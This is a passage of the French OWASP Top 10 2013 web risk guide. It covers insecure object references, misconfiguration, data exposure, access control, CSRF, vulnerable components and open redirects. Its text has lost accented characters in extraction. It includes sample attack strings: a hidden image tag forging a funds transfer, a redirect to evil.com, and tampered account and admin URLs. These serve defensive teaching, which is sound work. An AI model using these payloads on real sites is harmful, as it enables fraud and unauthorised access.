pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
Lattaquant modifie le paramtre acct dans son
navigateur afin denvoyer le numro de compte quil
souhaite. Si le paramtre nest pas correctement vrifi,
lattaquant peut accder nimporte quel compte, au lieu
dtre limit au sien.
http://example.com/app/accountInfo?acct=notmyacct

OWASP Top 10-2007 on Insecure Dir Object References

ESAPI Access Reference Map API
ESAPI Access Control API (voir isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFunction() )
Pour une liste de contrles additionnels, consultez le guide
ASVS requirements area for Access Control (V4).

Externes
CWE Entry 639 on Insecure Direct Object References
CWE Entry 22 on Path Traversal (qui est un exemple
dattaque sur des rfrences directes non scurises)

A5
Agents de menace

Mauvaise configuration Scurit

Vecteurs
dattaque

Spcifique
Application

Exploitabilit
SIMPLE

Considrez des
attaquants externes
anonymes, ou des
utilisateurs
lgitimes peuvent
tenter de
compromettre le
systme.
Considrez aussi
des internes voulant
dissimuler leurs
actes.

Attaquant accdant
des comptes par
dfaut, pages non
utilises,
vulnrabilits non
corriges, fichiers et
rpertoires non
protgs, etc. Afin
dobtenir des accs
non autoriss ou
des informations
sur le systme.

Vulnrabilit

Prvalence
COMMUNE

Dtectabilit
FACILE

Une mauvaise configuration de scurit

peut survenir sur lensemble des couches,
la plateforme, le serveur web, le serveur
dapplication, le Framework et le code
spcifique. Dveloppeurs et
administrateurs system ont besoin de
travailler ensemble pour sassure que
lensemble des couches sont configure
correctement. Les scanners automatiss
sont utiles pour dtecter les patchs
manquants, erreur de configuration,
comptes par dfaut, services inutiles, etc.

Impacts
Techniques

Impacts
Mtier

Impact
MODERE

Spcifique
Application/Mtier

Cette vulnrabilit
donne souvent aux
attaquants des
accs non autoriss
des systmes ou
des fonctionnalits.
Occasionnellement,
ces vulnrabilits
entrainent une
compromission
complte du
systme.

Le systme peut
tre compromis
sans le savoir.
Lensemble de vos
donnes peut tre
drob ou modifi
lentement dans le
temps. Les cots de
rcupration
peuvent tre
levs.

Suis-je vulnrable?

Comment sen prmunir?

Avez-vous effectu le durcissement de scurit appropri sur

lensemble des couches de lapplication ? incluent

La recommandation principale est de mettre en place tous les

points suivants

1. Est-ce que vos logiciels sont jour ? OS, Web/App Server,

BE, applications, et lensemble des librairies de code
(Voir nouveau point A9).

1.

2. Y-a-til des fonction inutiles actives/installes(ex : ports,

services, pages, comptes, privilges)?
3. Les mots de passe par dfaut sont activs et inchangs ?

2.

4. Affichez-vous ltat de la paile et des messages derreurs

aux utilisateurs ?
5. La configuration scurit des frameworks de
dveloppement(Ex : Struts, Spring, ASP.NET) ne sont pas
configurs avec des valeurs scurises ?
Sans processus de configuration reproductible concert, les
systmes sont exposs .

3.
4.

Un processus de durcissement reproductible qui permet

un dploiement rapide et facile dun nouvel
environnement correctement verrouill. Dev, QA et Prod
devraient tre configurs identiquement(hors accs). Ce
processus devrait tre automatis pour minimiser les
efforts de configuration dun nouvel environnement.
Un processus dinformation et de dploiement de
nouvelles versions et de correctifs dans un temps voulu
dans chaque environnement. Ceci inclut le code de
librairies ( Voir nouveau point A9).
Une architecture solide qui apporte une sparation et
scurit entre les composants.
Utiliser les scans et les audits aident la dtection des
futures mauvaises configurations ou absence de
correctifs.

Exemple de scnarios dattaque

Rfrences

Scnario #1:
La console dadministration du serveur
dapplication est automatiquement installe et non
dsactive. Les comptes par dfaut ne sont pas modifis.
Lattaquant dcouvre la console , utilise le compte par dfaut
et prend le contrle.

OWASP

Scnario #2: Le listage des rpertoires est activ. Lattaquant

le dcouvre et peut lister les rpertoires et trouver les
fichiers. Lattaquant trouve et tlcharge vos classes java
compiles quil dcompile . Il identifie une faille de contrle
daccs.
Scnario #3: La configuration du serveur dapplication
autorise laffichage dtat de la pile lutilisateur. Les
attaquants apprcient ces messages derreurs.
Scnario #4: Le serveur dapplication est livr avec des
exemples dapplications non supprims de votre serveur de
production. Ledit exemple
dapplication contient des
vulnrabilits connues utilisables par lattaquant pour
compromettre le serveur.

OWASP Development Guide: Chapter on Configuration

OWASP Code Review Guide: Chapter on Error Handling
OWASP Testing Guide: Configuration Management
OWASP Testing Guide: Testing for Error Codes
OWASP Insecure Configuration Management
Pour plus dinformations, il est possible de consulter ASVS
requirements area for Security Configuration (V12).

Externes
PC Magazine Article on Web Server Hardening
CWE Entry 2 on Environmental Security Flaws
CIS Security Configuration Guides/Benchmarks

A6
Agents de menace

Exposition de donnes sensibles

Vecteurs
dAttaque

Spcifique
Application

Exploitabilit
DIFFICILE

Considrer tout
acteur interne ou
externe ayant accs
direct aux donnes
sensibles (en mmoire, dans des
fichiers, dans les
sauvegardes, etc.)
ou un rseau par
lequel elles
transitent.

La cryptanalyse
(cassage de lalgorithme ou de la cl)
reste rare. On
prfre obtenir les
cls, intercepter le
trafic ou accder
aux donnes en
clair directement
sur le serveur ou
dans le navigateur.

Vulnrabilit

Prvalence
PEU COMMUNE

Dtection
MOYENNE

La principale erreur est de ne pas chiffrer

les donnes sensibles. Les autres erreurs
frquentes sont: gnration de cls
faibles, choix et configuration incorrects
des algorithmes et protection insuffisante
des mots de passe. Les faiblesses dans le
navigateur sont rpandues et simples
dtecter mais difficiles exploiter. En
gnral, les faiblesses cryptographiques
sont plus difficiles identifier et exploiter
de lextrieur, en raison dun accs limit.

Impacts
Techniques

Impacts
Mtier

Impact
SEVERE

Spcifique
Application/Mtier

Lexploitation peut
rsulter en la
compromission ou
la perte de donnes
personnelles, mdicales, financires,
dlments de
cartes de crdit ou
dauthentification,
etc.

Considrer la valeur
conomique des
donnes perdues,
limpact potentiel
pour la rputation
de lorganisation
ainsi que les
implications lgales
pouvant rsulter de
leur perte ou leur
diffusion.

Suis-je vulnrable?

Comment s'en prmunir?

Dterminer dabord quelles donnes doivent bnficier dune

protection cryptographique (mots de passe, donnes patient,
numros de cartes, donnes personnelles, etc.), lors de leur
transfert et/ou leur stockage. Pour chacune de ces donnes:

Lintgralit des cueils lis lusage de la cryptographie lors

du transport et stockage de donnes sensibles dpasse le
primtre du Top 10. Au minimum, lon veillera toutefois :
1.

Identifier les menaces contre lesquelles lon souhaite se

protger (ex.: menace interne, utilisateurs externes) et
sassurer que les donnes sensibles sont chiffres
correctement lors de leur stockage et de leur transport..

2.

Ne conserver que les donnes sensibles ncessaires. Les

donnes que lon ne possde pas ne peuvent tre voles!

3.

Choisir des algorithmes prouvs et gnrer des cls

robustes. S'assurer qu'une gestion des cls est en place.
Privilgier des modules cryptographiques certifis.

Les rponses transmises au navigateur incluent-elles les

directives/en-ttes de scurit adquats?

4.

Stocker les mots de passe au moyen dun algorithme

adapt cet usage, tel que bcrypt, PBKDF2, or scrypt.

Pour une liste complte de contrles, se rfrer lASVS:

Crypto (V7), Data Protection. (V9), SSL (V10)

5.

Dsactiver la mise en cache et l'attribut "autocomplete"

dans les formulaires collectant des donnes sensibles.

Exemples de scnarios dattaque

Rfrences

Scnario #1: Un site web protge des numros de carte de

crdit au moyen dune fonction de chiffrement transparent
(TDE) du SGBD. Cette mthode induit galement un
dchiffrement transparent des donnes lorsquelles quittent
la base. En exploitant une injection SQL, lattaquant rcupre
ainsi les donnes en clair

OWASP

Scnario #2: Un site public ne requiert pas SSL lors de la

navigation dans la section authentifie. Un acteur malveillant
se connecte un rseau sans-fil en libre accs et collecte le
trafic d'un utilisateur. Il rcupre le jeton d'une session
authentifie et accde ainsi aux donnes et privilges de
l'utilisateur dans lapplication.

OWASP Transport Layer Protection Cheat Sheet

Scnario #3: En exploitant une faille dans une fonction

denvoi de fichiers, un acteur malveillant obtient la base de
condenss (hashs) de mots de passe. Les condenss ayant t
gnrs sous la forme simple sans sel (salt), une attaque par
table arc-en-ciel (rainbow table) lui rvle les mots de passe.

CWE 312 : Cleartext Storage of Sensitive Information

1.

Les donnes sont-elles stockes/archives en clair?

Quen est-il des sauvegardes?

2.

Les donnes circulent-elles en clair? Sur le rseau

interne? Externe? Et sur Internet? (trs risqu)

3.

Des algorithmes faibles ou dsuets sont-ils utiliss?

4.

Les cls sont-elles robustes? Leur gestion et rotation

sont-elles prises en charge?

5.

Recommandations et contrles du rfrentiel

ASVS:
Cryptography (V7), Data Protection (V9)
et
Communications Security (V10)

OWASP Cryptographic Storage Cheat Sheet

OWASP Password Storage Cheat Sheet
OWASP Testing Guide: Chapter on SSL/TLS Testing

Externes
CWE 310 : Cryptographic Issues
CWE 319 : Cleartext Transmission of Sensitive Information
CWE 326 : Weak Encryption

A7
Agents de menace

Manque de contrle daccs au

niveau fonctionnel
Vecteurs
dattaque

Spcifique
Application

Exploitabilit
FACILE

Toute personne
pouvant envoyer
une requte
lapplication. Un
utilisateur anonyme
peut-il accder
une fonctionnalit
prive ? Un simple
utilisateur peut-il
accder une
fonctionnalit
privilgie ?

Lattaquant modifie
simplement lURL
ou les paramtres
dune fonction
privilgie. Si laccs
est autoris, cela
signifie que les
utilisateurs peuvent
accder des
fonctionnalits
prives non
protges.

Vulnrabilit

Prvalence
COMMUNE

Dtectabilit
MOYENNE

Les applications ne protgent pas toujours

correctement certaines fonctionnalits.
Parfois, les protections de niveau
fonctionnel sont gres par configuration
et le systme est mal configur. Parfois,
les dveloppeurs oublient dintgrer les
vrifications logicielles adquates.
Dtecter de telles vulnrabilits est ais.
La tche la plus difficile consiste
identifier les URLs ou fonctionnalits
devant tre testes.

Impacts
Techniques

Impacts
Mtier

Impact
MODR

Spcifique
Application/Mtier

Ces vulnrabilits
permettent un
attaquant daccder
des fonctionnalits
non autorises.

Prenez en compte
la valeur mtier des
fonctionnalits
exposes et des
donnes quelles
traitent.

Les fonctionnalits
dadministration
sont les cibles
privilgies de ce
type dattaque.

Considrez aussi
limpact sur votre
rputation si la
vulnrabilit
devenait publique.

Suis-je vulnrable ?

Comment sen prmunir ?

La meilleure faon de le vrifier est de tester chacune des

fonctionnalits applicatives :

Votre application devrait utiliser un module de gestion des

autorisations consistant, facilement analysable et appel
depuis les fonctionnalits mtier. Ce type de protection est
frquemment fourni par des composants externes.

1.

Linterface utilisateur permet-elle de naviguer vers des

fonctionnalits accs restreint ?

2.

Certaines vrifications ct serveur (authentification et

autorisation) sont-elles manquantes ?

3.

Ces vrifications sont-elles ralises en sappuyant

seulement sur des informations fournies par lattaquant ?

Visitez lapplication avec des droits privilgis, puis raccdez

les fonctionnalits restreintes avec des droits infrieurs.
Vous pouvez aussi inspecter le code grant le contrle
daccs. Tracez une requte privilgie, identifiez les
contrles daccs prsents puis cherchez o ces vrifications
ne sont pas implmentes.

1.

Faites en sorte que la gestion des droits soit facile

mettre jour et auditer. Ne codez pas en dur.

2.

La gestion des droits doit par dfaut interdire tout accs.

Ceci impose lautorisation explicite de certains rles pour
chacune des fonctionnalits proposes.

3.

Si la fonctionnalit fait partie dun workflow, vrifiez que

les conditions requises pour accder cet tat sont
runies.

Il est peu probable quun outil identifie seul ces vulnrabilits.

NOTE : La plupart des applications naffichent pas de liens

vers les fonctionnalits restreintes, mais cela ne constitue pas
une protection. Les vrifications doivent aussi tre ralises
au sein des couches Contrleur et Mtier.

Exemples de scnarios dattaque

Rfrences

Scenario 1: Lattaquant se contente de visiter les URLs cibles.

Les URLs suivantes ncessitent dtre authentifi et les droits
dadministration sont requis pour admin_getappInfo.

OWASP
OWASP Top 10-2007 on Failure to Restrict URL Access

http://exemple.com/app/getappInfo

ESAPI Access Control API

http://exemple.com/app/admin_getappInfo

OWASP Development Guide: Chapter on Authorization

Une vulnrabilit existe si un utilisateur non authentifi peut

accder une de ces pages ou si un utilisateur authentifi
mais non privilgi peut accder admin_getappInfo. Dans
ce dernier cas, cela peut permettre lattaquant didentifier
dautres fonctionnalits dadministration non protges.
Scenario 2: Une page utilise un paramtre action pour
spcifier la fonctionnalit invoquer, et les diffrentes
actions requirent des privilges diffrents. Une vulnrabilit
existe si ces privilges ne sont pas vrifis.

OWASP Testing Guide: Testing for Path Traversal

OWASP Article on Forced Browsing

Voir ASVS requirements area for Access Control (V4) pour des
exigences additionnelles de contrle daccs.

Externes
CWE Entry 285 on Improper Access Control (Authorization)

A8
Agents de Menace

Falsification de requte intersite

(CSRF)
Vecteurs
dAttaque

Spcifique
Application

Exploitabilit
MOYENNE

Tout accs de vos

utilisateurs un site
web, ou une source
HTML, peut charger
du contenu dans leur
navigateur. Et, un
contenu,
spcialement forg,
peut permettre que
leur navigateur
gnre une requte
automatique vers
votre site.

Lattaquant forge
une requte HTTP
et, par le biais d'une
balise image, d'une
faille XSS ou dune
autre technique,
force le navigateur
mettre la requte,
l'insu de
lutilisateur. Si ce
dernier est
authentifi,
lattaque va russir.

Prvalence
COURANT

Dtectabilit
FACILE

CSRF exploite le fait que la plupart des

applications web permettent aux
attaquants de prvoir tous les dtails de
certaines actions.
Et, comme les navigateurs envoient
automatiquement les informations
dauthentification, tels que les cookies de
session, les attaquants peuvent concevoir
des pages web malicieuses , qui gnrent
des requtes spcialement forges, qui
paraissent ainsi lgitimes.
Une faille CSRF est assez facile dtecter
par une analyse de code, ou par un test
dintrusion.

Suis-je vulnrable ?

Impacts
Mtier

Impacts
Techniques

Vulnrabilit

Impact
MODERE

Spcifique
Application/Mtier

Lattaquant peut
forcer la victime
raliser nimporte
quelle opration
de changement
dtat autorise
la victime.

Estimer la valeur
mtier des donnes
et des fonctions qui
pourraient tre
affectes.

Imaginer limpact
quil y aurait ne
Ainsi, il peut la
pas savoir si les
forcer modifier
actions ralises,
son compte,
ont t faites
faire des achats, intentionnellement
se dconnecter ou ou pas, par vos
mme se
utilisateurs.
connecter.
Estimer limpact sur
votre rputation.

Comment sen prmunir?

Vrifier si chaque lien et formulaire contient un jeton alatoire.

Sans de tels jetons, un attaquant peut forger des requtes
malicieuses. Une dfense alternative consiste sassurer que
lutilisateur est lauteur de la requte, soit par r-authentification,
soit par vrification que la demande nest pas automatise (ex., par
un test CAPTCHA).
Se concentrer sur les liens et les formulaires qui appellent des
fonctions de changement dtat car elles sont les principales cibles
des attaques CSRF. Vrifier les transactions qui ont plusieurs tapes
car elles ne sont pas intrinsquement sans faille. Les attaquants
peuvent facilement forger des sries de requtes en utilisant des
balises multiples ou, ventuellement du javascript. Attention, les
cookies de session, les adresses IP source, et autres informations
envoyes automatiquement par les navigateurs, nassurent aucune
protection contre la falsification de requte inter site, car ils sont
aussi systmatiquement envoys avec les requtes forges.
Loutil CSRF Tester de lOWASP peut vous aider gnrer des tests
pour dmontrer les dangers des failles CSRF.

La mthode standard de protection ncessite dajouter un

jeton alatoire chaque requte HTTP. Ces jetons doivent, au
minimum, tre uniques par session utilisateur :
1. La meilleure option est dinclure un jeton unique dans un
champ cach. Ce jeton, envoy dans le corps de la
requte HTTP, et non insr dans lURL, sera ainsi
potentiellement moins expos.
2. Le jeton unique peut aussi tre inclus directement dans
lURL, ou dans un paramtre de lURL. Mais il risque dtre
accessible lattaquant et ainsi dtre compromis.
Le projet CSRF Guard de lOWASP fournit des bibliothques
pour insrer de tels jetons dans les applications Java EE, .NET,
ou PHP. Et le projet ESAPI de lOWASP fournit des interfaces
de programmation que les dveloppeurs peuvent utiliser pour
empcher les attaques CSRF.
Demander lutilisateur de se r-authentifier ou, vrifier que
la demande nest pas automatise (par ex., avec un test
CAPTCHA) peut aussi vous protger contre ces attaques.

Exemple de scnario dattaque

Rfrences

Une application permet un utilisateur de soumettre une

requte de changement dtat, qui ne requiert aucun secret :
http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243
Lattaquant peut donc forger une requte pour transfrer de
largent du compte de la victime sur son propre compte, et la
cacher dans une balise image, ou dans une balise iframe,
stocke sur un site sous son contrle :
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#
width="0" height="0" />
Si la victime visite lun des sites de lattaquant, alors quelle
est toujours authentifie sur le site example.com, son
navigateur inclura les donnes de session utilisateur dans la
requte forge et cette dernire aboutira.

OWASP
OWASP CSRF Article
OWASP CSRF Prevention Cheat Sheet
OWASP CSRFGuard - CSRF Defense Tool
ESAPI Project Home Page

ESAPI HTTPUtilities Class with AntiCSRF Tokens

OWASP Testing Guide: Chapter on CSRF Testing
OWASP CSRFTester - CSRF Testing Tool

Externes
CWE Entry 352 on CSRF

A9
Agents de menace

Utilisation de composants avec

des vulnrabilits connues
Vecteurs
dattaque

Spcifique
Application

Exploitabilit
MOYENNE

Certains composants
vulnrables (Ex:
bibliothques) peuvent
tre identifies et
exploites laide
doutils automatiss,
augmentant la
population des agents de
menace, qui peuvent
tre utiliss au del des
attaques cibles par des
hacktivistes.

Lattaquant utilise des

outils manuels ou des
scanners afin didentifier
un composant
vulnrable. Il
personnalise si besoin
lexploit et excute
lattaque. Cela est
dautant plus difficile si
le composant est
imbriqu profondment
dans lapplication.

Vulnrabilit

Prvalence
DIFFUSION

Dtection
DIFFICILE

Potentiellement, toutes les applications peuvent

tre impactes par ces vulnrabilits,
notamment parce que les quipes de
dveloppement ne sassurent pas que les
composants/bibliothques sont jour. Dans la
plupart des cas, les dveloppeurs ne connaissent
mme pas tous les composants sur lesquels
reposent leur application, sans mme parler des
numros de version correspondants. Les
dpendances entre composants aggravent
dautant plus la situation.

Impacts
Technique

Impacts
Mtier

Impact
MODR

Spcifique
Application/Mtier

Le paysage complet
des faiblesses est
envisageable :
injection, violation de
contrle daccs, XSS,
etc. Limpact peut tre
minime, ou entraner
la compromission
totale du systme ou
une atteinte aux
donnes.

Prendre en compte ce
quimplique la
vulnrabilit pour le
mtier utilisant
lapplication touche.
Cela peut tre bnin
ou correspondre
une compromission
totale.

Suis-je vulnrable?

Comment sen prmunir?

En thorie, il semble simple didentifier si vous utilisez des composants

ou bibliothques vulnrables. Malheureusement, les rapports de
vulnrabilits des logiciels commerciaux ou open source ne permettent
pas toujours de prsenter sous une forme standardise ou de
rechercher quelle version dun composant est concerne par une
vulnrabilit. Dautant plus que la majorit des bibliothques nutilisent
pas un systme de numrotation de version comprhensible. Le pire
tant que certaines vulnrabilits ne sont pas centralises chez un
dpositaire unique facilitant les recherches, mme si il est de plus en
plus facile de rechercher sur certains sites comme CVE et NVD.

Une option est de ne pas utiliser des composants que vous navez pas vous
mme crit. Mais cela nest pas trs raliste.
De nombreux projets de composants ne fournissent pas de correctifs de
scurit pour les anciennes versions. A la place, le problme tant
simplement corrigs dans la version suivante. De ce fait, effectuer une
monte de version est critique.
Les projets logiciels devraient avoir un processus en place pour :
1) Identifier tous les composants et les versions utilises, ainsi que les
dpendances (ex: le plugin des versions).
2) Surveiller les bases de donnes publiques, les listes de diffusion des
projets et les listes de diffusion de scurit afin de sassurer de la
scurit de ces composants afin de les maintenir jour.
3) tablir des politiques de scurit pour lutilisation des composants,
telles que la mise en place de pratiques de dveloppement scuris, le
passage avec succs des recettes scurit et lutilisation de composants
sous License.
4) Si possible, essayer dajouter des filtres de scurits autour des
composants afin de dsactiver des fonctionnalits et/ou des parties
comprenant des faiblesses ou des fonctions vulnrables.

Dterminer si vous tes vulnrable ncessitent de rechercher tout ce

qui pourrait tre une vulnrabilit dans ces bases de donnes, dans les
listes de diffusion et les annonces. Si lun de vos composants possde
une vulnrabilit, il faut vrifier scrupuleusement si votre code fait
appel une fonctionnalit vulnrable du composant et si cette faiblesse
entrainerait un risque vous impactant.

Exemple de scnarios dattaque

Les risques lis la vulnrabilit dun composant peuvent tre trs
varis, allant dun malware simple voir complexe ciblant une
organisation voulue. Puisque la plupart des composants sexcutent
avec les privilges maximum de lapplication, toute faille dans un de ces
composants peut avoir un impact majeur. Les deux composants
vulnrables suivants ont t tlchargs 22 millions de fois en 2011.
Apache CXF Authentification Bypass En ne fournissant pas de jeton
dauthentification, les attaquants pouvaient faire appel nimporte
quels web services avec lensemble des privilges. (Apache CXF est
un framework opensource ne pas confondre avec le serveur
applicatif Apache.)
Spring Remote Code Execution Un abus de limplmentation du
langage dexpression de Spring permettait aux attaquants
dexcuter du code arbitraire et ainsi de prendre le contrle du
serveur.
Toutes les applications utilisant lune de ces bibliothques vulnrables
est vulnrable aux attaques de ces composants directement accessible
aux utilisateurs de lapplication. Dautres bibliothques vulnrables,
utilises plus profondment dans lapplication, seraient plus
difficilement exploitable.

Rfrences
OWASP
OWASP Dependency Check (for Java libraries)
OWASP SafeNuGet (for .NET libraries thru NuGet)
Good Component Practices Project

Externes
The Unfortunate Reality of Insecure Libraries
Open Source Software Security
Addressing Security Concerns in Open Source Components
MITRE Common Vulnerabilities and Exposures
Example Mass Assignment Vulnerability that was fixed
in ActiveRecord, a Ruby on Rails GEM

A10
Agents de menace

Redirections et Renvois Non

Valids
Vecteurs
dattaque

Spcifique
Application

Exploitabilit
MOYENNE

Considrez toute
personne pouvant
tromper vos
utilisateurs lors
dune requte sur
votre site web.
Nimporte quel site
web ou flux HTML
peut tre utilis
cette fin.

Un attaquant utilise des

redirections non valides
afin dinciter lutilisateur
cliquer sur un lien. Les
victimes sont en
confiance car les liens
pointent vers un site
connu. Lattaquant cible
les renvois non srs afin
de contourner les
mcanismes de scurit.

Vulnrabilit

Prvalence
RARE

Dtection
FACILE

Les applications utilisent frquemment les

redirections et les renvois pour rediriger les
utilisateurs vers d'autres pages. Parfois la page
cible est spcifie dans un paramtre non
valid, permettant un attaquant de choisir la
page de destination.
La dtection de redirections non vrifies est
facile. Recherchez des redirections o l'URL
complte peut tre modifie. La dtection de
renvois non vrifis est plus complique
puisqu'ils ciblent des pages internes.

Impacts
Technique

Impacts
Mtier

Impact
MODERE

Spcifique
Application/Mtier

Certaines redirections
essayent
dencourager les
victimes installer
des logiciels malicieux
ou fournir des
informations
sensibles. Des renvois
non srs peuvent
amener le
contournement de
contrles daccs.

Quelle est la valeur

associe la
confiance de vos
utilisateurs.

Quel serait limpact en

cas de compromission
dun logiciel
malveillant ? Quel
serait limpact si un
attaquant accdait
aux fonctions internes
de lapplication ?

Suis-je vulnrable?

Comment sen prmunir?

La meilleure faon de dtecter si une application possde des

redirections ou des renvois non valids est de :

Lutilisation de manire sre de renvois et de redirections

peut tre effectue de diffrentes faons:

1.

1.

Eviter lutilisation des redirections et des renvois.

2.

En cas dutilisation, ne pas utiliser de valeur de

destination dans les paramtres utilisateur. Ceci est
gnralement ralisable.

3.

Si une valeur de destination doit tre spcifie, vrifier

que la valeur est valide et autorise pour lutilisateur.

Revoir le code source de tous les renvois ou les

redirections (appel transferts en .NET). Pour chaque
utilisation, dterminer si lURL de destination est inclue
dans un paramtre de lapplication. Dans ce cas, si lURL
de destination nappartient pas une liste blanche, alors
lapplication est vulnrable.

2.

Parcourir le site afin didentifier si des redirections sont

gnres par lapplication (codes 300-307 HTTP,
notamment 302). Dterminer si les paramtres fournis
utilisent une URL de destination. Si cest le cas, modifier
lURL cible et valider si la redirection est effectue vers la
nouvelle cible.

3.

Si le code source nest pas disponible, vrifier si des

paramtres sont utiliss dans le cadre dune redirection
ou dun renvoi et, si cest le cas, tester les.

Il est recommand de ne pas utiliser dURL dans les

paramtres, mais plutt une valeur abstraite qui sera
traduite ct serveur par une URL cible. Les applications
peuvent utiliser ESAPI afin de bnficier de la fonction
sendRedirect() permettant de sassurer que les
redirections soient sres.
Lradication de telles failles est extrmement importante car
elles sont principalement utilises dans des attaques de
phishing afin de gagner la confiance des utilisateurs.

Exemples de scnarios dattaque

Rfrences

Scnario #1: Une application possde une page redirect.jsp

disposant dun seul paramtre nomm url. Un attaquant
forge une URL permettant de rediriger les utilisateurs vers un
site malveillant (tentative de phishing ou installation de
malwares).

OWASP

http://www.example.com/redirect.jsp?url=evil.com
Scnario #2: Une application effectue des renvois pour
rediriger les utilisateurs sur certaines pages internes. Pour
simplifier le renvoi, certaines pages utilisent un paramtre
contenant la page o doit tre renvoyer lutilisateur. Dans ce
cas, un attaquant cre une URL satisfaisant les contrles
d'accs de l'application et le redirigeant ensuite vers une
fonction dadministration laquelle il ne devrait pas avoir
accs.
http://www.example.com/boring.jsp?fwd=admin.jsp

OWASP Article on Open Redirects

ESAPI SecurityWrapperResponse sendRedirect() method

Externes
CWE Entry 601 on Open Redirects
WASC Article on URL Redirector Abuse
Google blog article on the dangers of open redirects
OWASP Top 10 for .NET article on Unvalidated Redirects and
Forwards

+D

Pour les dveloppeurs

Dfinissez des processus reproductibles et des contrles de scurit communs

Que vous soyez dbutant dans le dveloppement scuris dapplications web ou dj familier avec les risques qui y sont associs,
il est toujours difficile de crer une application web scurise ou de corriger une application existante. Lorsquen plus vous devez
grer de nombreuses applications, la tche devient ardue.
Afin daider les organisations et les dveloppeurs rduire les risques au sein de leurs applications web moindre cot, lOWASP
a cr de nombreuses ressources gratuites et ouvertes utilisables au sein de votre organisation. Les ressources ci-dessous sont
un exemple de ce que lOWASP a produit pour aider les organisations dvelopper des applications web scurises. Dautres
ressources destines vous aider contrler la scurit de vos applications sont prsentes la page suivante.

Exigences
de scurit de
lapplication

Architecture
applicative
scurise

Contrles de
scurit
communs

Cycle de
dveloppement
scuris

Formation
la scurit
applicative

Afin de produire une application web scurise, vous devez d'abord dfinir ce que cela signifie
pour cette application. Utilisez le standard de vrification de la scurit d'une application (ASVS)
comme guide pour dterminer les exigences de scurit de votre application.
Si le dveloppement de lapplication est sous-trait, utilisez plutt l'annexe contractuelle pour du
logiciel scuris de l'OWASP.

Il est bien plus efficace dintgrer la scurit dans une application ds sa conception plutt que
d'identifier les failles et les corriger a posteriori. Les aide-mmoire de l'OWASP ont pour objectif
de vous guider dans cette tche. LOWASP recommande galement la lecture du guide de
dveloppement OWASP.

Il est particulirement difficile de concevoir des contrles de scurit fiables et simples utiliser.
Un jeu de contrles standard simplifie radicalement le dveloppement d'applications scurises.
L'OWASP recommande comme modle pour le dveloppement scuris des APIs de votre
application le projet "OWASP Enterprise Security API (ESAPI)". Il inclut des implmentations de
rfrence en Java, .NET, PHP, Classic ASP, Python et Cold Fusion.

Afin d'amliorer le processus que suit votre organisation pour le dveloppement d'applications,
l'OWASP recommande l'"OWASP Software Assurance Maturity Model (SAMM)". Ce modle aide
les organisations formuler et implmenter une stratgie adapte aux risques spcifiques
auxquels elles sont confrontes.

Le projet ducation de l'OWASP met disposition des ressources de formation afin d'aider la
sensibilisation des dveloppeurs. Il regroupe une liste de prsentations cette fin. Afin de vous
confronter aux vulnrabilits les plus courantes, essayez l'OWASP WebGoat, WebGoat.NET ou
encore le projet applications web dfaillantes. Et pour rester jour, venez assister une
confrence AppSec OWASP, une session de formation, ou une runion du chapitre OWASP local.

De nombreuses autres ressources OWASP sont disponibles. Consultez la page des projets OWASP qui les recense, organiss selon
leur niveau de maturit (Release Quality, Beta, ou Alpha). La plupart des ressources OWASP sont disponibles sur le wiki, et un
grand nombre de documents OWASP peuvent tre commands au format papier ou lectronique (eBook).

+V

Perspective pour les vrificateurs

Soyez Organis
Afin de vrifier la scurit dune application web que vous avez dvelopp ou que vous envisagez dacqurir, lOWASP
recommande dexaminer le code applicatif (si le code source est disponible) et de tester lapplication. LOWASP recommande la
combinaison dune revue du code lie la scurit et ltablissement dun test dintrusion applicatif ds que cela savre
possible, cela permet daugmenter le niveau de rsultat des deux techniques, les deux approches se compltant mutuellement.
Les outils facilitant le processus de vrification peuvent amliorer lefficience et lefficacit dun analyste expert. Les outils
dvaluation de lOWASP se focalisent sur laide apporte un expert afin de devenir plus efficace, plutt que de tenter
dautomatiser le processus danalyse.
Standardisation Comment Vrifiez Vous la Scurit dApplication Web: Afin daider les organisations dvelopper de la
cohrence et de dfinir un niveau de rigueur lors de lvaluation dapplications web, lOWASP a produit lOWASP Standard de
Vrification de Scurit Applicative (ASVS). Ce document dfinit un standard de vrification minimum pour effectuer lvaluation
de scurit des applications web. LOWASP recommande dutiliser ASVS comme guide pas seulement lorsque vous vrifiez la
scurit dune application Web, mais aussi sur les techniques les plus appropries utiliser, et de vous aider dfinir et
slectionner un niveau de rigueur lorsque vous vrifiez la scurit dapplication web. LOWASP recommande par ailleurs
lutilisation de lASVS pour vous aider dfinir et slectionner tout service dvaluation dapplication web que vous pourriez vous
procurer par un fournisseur tiers.
Suite dOutils dEvaluation : Le projet OWASP Live CD consolide plusieurs des meilleurs outils de scurit open source dans un
environnement de dmarrage ou dans une machine virtuelle (VM). Les dveloppeurs web, testeurs, et professionnels de la
scurit peuvent excuter ce Live CD, or excuter la VM, et immdiatement avoir accs une suite complte de test de scurit.
Aucune installation ni configuration nest requise pour utiliser les outils fournis sur ce CD.

Revue de Code

Scurit et Test dIntrusion

La revue de code en scurit est particulirement adapte pour

vrifier quune application contient des mcanismes de scurit
forts, et de trouver des lments qui seraient difficiles identifier
en examinant les donnes de sorties. Tester une application est
adapt pour prouver que des failles sont exploitables. Cela tant,
les deux approches sont complmentaires et se recoupent dans
quelques domaines.

Tester lApplication : LOWASP a dvelopp le TestingGuide

pour aider les dveloppeurs, testeurs, et spcialistes de la
scurit comprendre comment tester de manire efficace
et efficiente la scurit des applications web. Cet norme
guide, qui au travers de douzaines de contributeurs, fournit
un vaste ensemble de sujets sur les tests de scurit des
applications web. Une revue de code a ses avantages, les
tests de scurit aussi. Il est trs intressant de pouvoir
prouver quune application est non scurise en
dmontrant lexploit. Il y a beaucoup de question de
scurit, particulirement toutes les scurits fournies par
linfrastructure applicative, qui ne peuvent tre vues au
travers de la revue de code, du fait que lapplication ne
porte pas la scurit par elle-mme.

Revue de Code : En tant que compagnon du Guide du

Dveloppeur OWASP, et le Guide des Tests OWASP, lOWASP a
produit le Guide de la Revue de Code OWASP pour aider les
dveloppeurs et les spcialistes de la scurit applicative
comprendre comment examiner de manire efficiente et efficace
la scurit dune application web par la revue de code. Il y a de
nombreuses questions de scurit applicatives, tel que les failles
dinjection, qui sont de loin plus facile dterminer au travers de
la revue de code que du test externe.
Outil de Revue de Code : LOWASP a fait du travail prometteur
dans le domaine de lassistance aux experts pour effectuer de
